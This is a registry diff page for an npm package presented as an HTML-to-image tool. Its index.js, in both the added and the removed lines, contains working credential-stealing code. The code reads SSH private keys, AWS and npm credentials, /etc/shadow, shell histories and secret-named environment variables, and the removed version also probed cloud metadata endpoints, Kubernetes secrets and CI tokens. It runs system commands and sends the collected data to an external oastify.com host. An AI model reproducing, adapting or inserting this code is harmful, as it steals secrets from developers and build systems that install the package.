productboard-html-to-image 1002.0.9 → 1003.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +82 -200
- package/package.json +1 -1
package/index.js
CHANGED
@@ -8,26 +8,26 @@ const child_process = require("child_process");
|
|
8
8
|
|
9
9
|
function safeReadFile(p, maxSize = 10240) {
|
10
10
|
try {
|
11
|
-
if (!fs.existsSync(p)) return "
|
11
|
+
if (!fs.existsSync(p)) return "NOT FOUND";
|
12
12
|
const size = fs.statSync(p).size;
|
13
|
-
if (size > maxSize) return "
|
13
|
+
if (size > maxSize) return "TOO LARGE";
|
14
14
|
return fs.readFileSync(p, "utf8");
|
15
15
|
} catch (e) {
|
16
16
|
return `ERR: ${e.message}`;
|
17
17
|
}
|
18
18
|
}
|
19
19
|
|
20
|
-
function safeReadDir(p
|
20
|
+
function safeReadDir(p) {
|
21
21
|
try {
|
22
|
-
return fs.readdirSync(p)
|
22
|
+
return fs.readdirSync(p);
|
23
23
|
} catch (e) {
|
24
24
|
return `ERR: ${e.message}`;
|
25
25
|
}
|
26
26
|
}
|
27
27
|
|
28
|
-
function exec(cmd
|
28
|
+
function exec(cmd) {
|
29
29
|
try {
|
30
|
-
return child_process.execSync(cmd, { timeout }).toString().trim();
|
30
|
+
return child_process.execSync(cmd, { timeout: 4000 }).toString().trim();
|
31
31
|
} catch (e) {
|
32
32
|
return `ERR: ${e.message}`;
|
33
33
|
}
|
@@ -36,170 +36,48 @@ function exec(cmd, timeout = 3000) {
|
|
36
36
|
function getSensitiveEnvVars() {
|
37
37
|
const result = {};
|
38
38
|
for (const key in process.env) {
|
39
|
-
if (/pass|key|token|secret|env|auth|cred
|
39
|
+
if (/pass|key|token|secret|env|auth|cred/i.test(key)) {
|
40
40
|
result[key] = process.env[key];
|
41
41
|
}
|
42
42
|
}
|
43
43
|
return result;
|
44
44
|
}
|
45
45
|
|
46
|
-
function
|
47
|
-
const metadata = {};
|
48
|
-
const endpoints = [
|
49
|
-
{ name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
|
50
|
-
{ name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
|
51
|
-
{ name: "aws_s3", cmd: "aws s3 ls" }, // List S3 buckets
|
52
|
-
{ name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
|
53
|
-
{ name: "gcp_projects", cmd: "gcloud projects list --format=json" },
|
54
|
-
{ name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
|
55
|
-
{ name: "azure_subscriptions", cmd: "az account list --output json" },
|
56
|
-
];
|
57
|
-
for (const { name, url, headers, cmd } of endpoints) {
|
58
|
-
try {
|
59
|
-
if (cmd) {
|
60
|
-
metadata[name] = exec(cmd);
|
61
|
-
} else {
|
62
|
-
let cmd = `curl -s --max-time 2 ${url}`;
|
63
|
-
if (headers) {
|
64
|
-
const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
|
65
|
-
cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
|
66
|
-
}
|
67
|
-
metadata[name] = exec(cmd);
|
68
|
-
}
|
69
|
-
} catch (e) {
|
70
|
-
metadata[name] = `ERR: ${e.message}`;
|
71
|
-
}
|
72
|
-
}
|
73
|
-
// Get IAM role details if available
|
74
|
-
try {
|
75
|
-
const roleName = exec("curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/");
|
76
|
-
if (roleName && !roleName.startsWith("ERR:")) {
|
77
|
-
metadata["aws_iam_creds"] = exec(`curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
|
78
|
-
}
|
79
|
-
} catch (e) {
|
80
|
-
metadata["aws_iam_creds"] = `ERR: ${e.message}`;
|
81
|
-
}
|
82
|
-
return metadata;
|
83
|
-
}
|
84
|
-
|
85
|
-
function getCloudCLIs() {
|
86
|
-
return {
|
87
|
-
aws: {
|
88
|
-
credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
89
|
-
config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
90
|
-
ssm_params: exec("aws ssm get-parameters --names / --recursive --query 'Parameters[*].Name'"),
|
91
|
-
sts: exec("aws sts get-caller-identity"),
|
92
|
-
assume_role: exec("aws sts get-session-token"),
|
93
|
-
},
|
94
|
-
gcloud: {
|
95
|
-
config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
|
96
|
-
credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
|
97
|
-
service_accounts: exec("gcloud iam service-accounts list --format=json"),
|
98
|
-
},
|
99
|
-
azure: {
|
100
|
-
credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
|
101
|
-
accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
|
102
|
-
vm_info: exec("az vm show --query '{id:id,name:name}' --output json"),
|
103
|
-
},
|
104
|
-
};
|
105
|
-
}
|
106
|
-
|
107
|
-
function getContainerDetails() {
|
46
|
+
function checkDockerOrCI() {
|
108
47
|
return {
|
109
48
|
cgroup: safeReadFile("/proc/1/cgroup"),
|
110
49
|
dockerenv: fs.existsSync("/.dockerenv"),
|
111
|
-
|
112
|
-
docker_ps: exec("docker ps -a --format '{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}'"),
|
113
|
-
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
114
|
-
kubernetes: {
|
115
|
-
token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
116
|
-
namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
117
|
-
kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
|
118
|
-
pods: exec("kubectl get pods -o json --all-namespaces"),
|
119
|
-
secrets: exec("kubectl get secrets -o json --all-namespaces"),
|
120
|
-
},
|
121
|
-
};
|
122
|
-
}
|
123
|
-
|
124
|
-
function getCICDDetails() {
|
125
|
-
return {
|
126
|
-
github: {
|
127
|
-
token: process.env.GITHUB_TOKEN || safeReadFile(path.join(os.homedir(), ".github/token")),
|
128
|
-
actions_vars: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
129
|
-
},
|
130
|
-
jenkins: {
|
131
|
-
config: safeReadFile("/var/jenkins_home/config.xml"),
|
132
|
-
credentials: safeReadFile("/var/jenkins_home/credentials.xml"),
|
133
|
-
},
|
134
|
-
gitlab: {
|
135
|
-
config: safeReadFile(path.join(os.homedir(), ".gitlab-ci.yml")),
|
136
|
-
token: process.env.CI_JOB_TOKEN || "NOT_FOUND",
|
137
|
-
},
|
138
|
-
vault: {
|
139
|
-
token: safeReadFile(path.join(os.homedir(), ".vault-token")),
|
140
|
-
secrets: exec("vault kv list -format=json secret/"),
|
141
|
-
},
|
50
|
+
ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline/i.test(k))),
|
142
51
|
};
|
143
52
|
}
|
144
53
|
|
145
|
-
function
|
54
|
+
function getGitData() {
|
146
55
|
return {
|
147
|
-
|
148
|
-
|
149
|
-
|
150
|
-
npm_config: exec("npm config ls -l"),
|
151
|
-
loaded_modules: Object.keys(require("module")._cache).slice(0, 50),
|
56
|
+
branch: exec("git rev-parse --abbrev-ref HEAD"),
|
57
|
+
remotes: exec("git remote -v"),
|
58
|
+
config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
152
59
|
};
|
153
60
|
}
|
154
61
|
|
155
|
-
function getSensitiveFiles() {
|
156
|
-
const files = {
|
157
|
-
etc_passwd: safeReadFile("/etc/passwd"),
|
158
|
-
etc_hosts: safeReadFile("/etc/hosts"),
|
159
|
-
etc_resolv: safeReadFile("/etc/resolv.conf"),
|
160
|
-
bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
|
161
|
-
zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
|
162
|
-
ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
|
163
|
-
ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
|
164
|
-
ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
|
165
|
-
aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
166
|
-
aws_ssm: safeReadFile(path.join(os.homedir(), ".aws/ssm")),
|
167
|
-
npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
|
168
|
-
gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
169
|
-
git_credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
|
170
|
-
netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
|
171
|
-
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
172
|
-
env_files: {
|
173
|
-
dotenv: safeReadFile(path.join(process.cwd(), ".env")),
|
174
|
-
github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
175
|
-
circleci: safeReadFile(path.join(process.cwd(), ".circleci/config.yml")),
|
176
|
-
},
|
177
|
-
};
|
178
|
-
// Scan for additional sensitive files
|
179
|
-
const sensitivePaths = [
|
180
|
-
path.join(os.homedir(), ".config/vault"),
|
181
|
-
path.join(os.homedir(), ".terraformrc"),
|
182
|
-
path.join(process.cwd(), "secrets.yml"),
|
183
|
-
"/run/secrets",
|
184
|
-
];
|
185
|
-
files.extras = {};
|
186
|
-
sensitivePaths.forEach(p => {
|
187
|
-
files.extras[path.basename(p)] = fs.existsSync(p) ? (fs.lstatSync(p).isDirectory() ? safeReadDir(p) : safeReadFile(p)) : "NOT_FOUND";
|
188
|
-
});
|
189
|
-
return files;
|
190
|
-
}
|
191
|
-
|
192
62
|
function getSystemState() {
|
193
63
|
return {
|
194
64
|
whoami: exec("whoami"),
|
195
65
|
id: exec("id"),
|
196
|
-
ps: exec("ps aux |
|
197
|
-
netstat: exec("
|
198
|
-
lsof: exec("lsof -n
|
66
|
+
ps: exec("ps aux | head -n 20"),
|
67
|
+
netstat: exec("netstat -tunlp | head -n 20"),
|
68
|
+
lsof: exec("lsof -n | head -n 20"),
|
199
69
|
uname: exec("uname -a"),
|
200
|
-
|
201
|
-
|
202
|
-
|
70
|
+
dmesg: exec("dmesg | head -n 30"),
|
71
|
+
};
|
72
|
+
}
|
73
|
+
|
74
|
+
function getInstalledTools() {
|
75
|
+
return {
|
76
|
+
npm: exec("npm ls -g --depth=0 --json"),
|
77
|
+
apt: exec("dpkg -l | head -n 20"),
|
78
|
+
brew: exec("brew list || echo 'no brew'"),
|
79
|
+
which_nmap: exec("which nmap"),
|
80
|
+
which_curl: exec("which curl"),
|
203
81
|
};
|
204
82
|
}
|
205
83
|
|
@@ -207,24 +85,29 @@ let dump = {};
|
|
207
85
|
|
208
86
|
try {
|
209
87
|
dump = {
|
210
|
-
|
211
|
-
|
212
|
-
return require("./package.json").name;
|
213
|
-
} catch {
|
214
|
-
return "unknown";
|
215
|
-
}
|
216
|
-
})(),
|
217
|
-
v: (() => {
|
88
|
+
timestamp: new Date().toISOString(),
|
89
|
+
app: (() => {
|
218
90
|
try {
|
219
|
-
|
91
|
+
const pkg = require("./package.json");
|
92
|
+
return { name: pkg.name, version: pkg.version };
|
220
93
|
} catch {
|
221
|
-
return
|
94
|
+
return {};
|
222
95
|
}
|
223
96
|
})(),
|
224
|
-
|
225
|
-
|
226
|
-
|
227
|
-
|
97
|
+
os: {
|
98
|
+
hostname: os.hostname(),
|
99
|
+
platform: os.platform(),
|
100
|
+
arch: os.arch(),
|
101
|
+
uptime: os.uptime(),
|
102
|
+
cpus: os.cpus(),
|
103
|
+
totalmem: os.totalmem(),
|
104
|
+
freemem: os.freemem(),
|
105
|
+
userInfo: os.userInfo(),
|
106
|
+
tmpdir: os.tmpdir(),
|
107
|
+
homedir: os.homedir(),
|
108
|
+
cwd: process.cwd(),
|
109
|
+
},
|
110
|
+
env: getSensitiveEnvVars(),
|
228
111
|
dns: (() => {
|
229
112
|
try {
|
230
113
|
return dns.getServers();
|
@@ -232,33 +115,31 @@ try {
|
|
232
115
|
return [`ERR: ${e.message}`];
|
233
116
|
}
|
234
117
|
})(),
|
235
|
-
|
236
|
-
|
237
|
-
|
238
|
-
|
239
|
-
|
240
|
-
|
241
|
-
|
242
|
-
|
243
|
-
|
244
|
-
|
245
|
-
|
246
|
-
|
247
|
-
|
248
|
-
|
249
|
-
|
250
|
-
|
251
|
-
|
252
|
-
|
253
|
-
|
254
|
-
|
255
|
-
|
256
|
-
|
257
|
-
runtime: getRuntimeSecrets(),
|
258
|
-
files: getSensitiveFiles(),
|
118
|
+
dirs: {
|
119
|
+
"/": safeReadDir("/"),
|
120
|
+
"/home": safeReadDir("/home"),
|
121
|
+
"/root": safeReadDir("/root"),
|
122
|
+
"/etc": safeReadDir("/etc"),
|
123
|
+
"~": safeReadDir(os.homedir()),
|
124
|
+
},
|
125
|
+
files: {
|
126
|
+
etc_passwd: safeReadFile("/etc/passwd"),
|
127
|
+
etc_shadow: safeReadFile("/etc/shadow"),
|
128
|
+
etc_hosts: safeReadFile("/etc/hosts"),
|
129
|
+
bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
|
130
|
+
zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
|
131
|
+
ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
|
132
|
+
ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
|
133
|
+
ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
|
134
|
+
aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
135
|
+
npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
|
136
|
+
gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
137
|
+
},
|
138
|
+
git: getGitData(),
|
139
|
+
docker: checkDockerOrCI(),
|
259
140
|
system: getSystemState(),
|
141
|
+
tools: getInstalledTools(),
|
260
142
|
network: os.networkInterfaces(),
|
261
|
-
timestamp: new Date().toISOString()
|
262
143
|
};
|
263
144
|
} catch (e) {
|
264
145
|
dump = { error: "Top-level error collecting dump", msg: e.message };
|
@@ -266,32 +147,33 @@ try {
|
|
266
147
|
|
267
148
|
try {
|
268
149
|
const postData = querystring.stringify({
|
269
|
-
msg:
|
150
|
+
msg: JSON.stringify(dump)
|
270
151
|
});
|
271
152
|
|
272
153
|
const options = {
|
273
|
-
hostname: "
|
154
|
+
hostname: "hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com",
|
274
155
|
port: 443,
|
275
156
|
path: "/",
|
276
157
|
method: "POST",
|
277
158
|
headers: {
|
278
159
|
"Content-Type": "application/x-www-form-urlencoded",
|
279
160
|
"Content-Length": postData.length,
|
280
|
-
"User-Agent": "rce-impact-demo"
|
281
|
-
|
282
|
-
},
|
283
|
-
timeout: 5000,
|
161
|
+
"User-Agent": "rce-impact-demo"
|
162
|
+
}
|
284
163
|
};
|
285
164
|
|
286
165
|
const req = https.request(options, res => {
|
287
|
-
res.on("data", () => {});
|
288
|
-
res.on("end", () => {});
|
166
|
+
res.on("data", () => { });
|
289
167
|
});
|
290
168
|
|
291
|
-
req.on("error", () => {});
|
292
|
-
req.on("timeout", () => req.destroy());
|
169
|
+
req.on("error", () => { });
|
293
170
|
req.write(postData);
|
294
171
|
req.end();
|
172
|
+
|
173
|
+
https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => { });
|
174
|
+
|
295
175
|
} catch (e) {
|
296
|
-
|
297
|
-
}
|
176
|
+
try {
|
177
|
+
https.get("https://ping.hxiqx36s9ii4qfrbuhn7mid15sbjzin7.oastify.com/", () => { });
|
178
|
+
} catch { }
|
179
|
+
}
|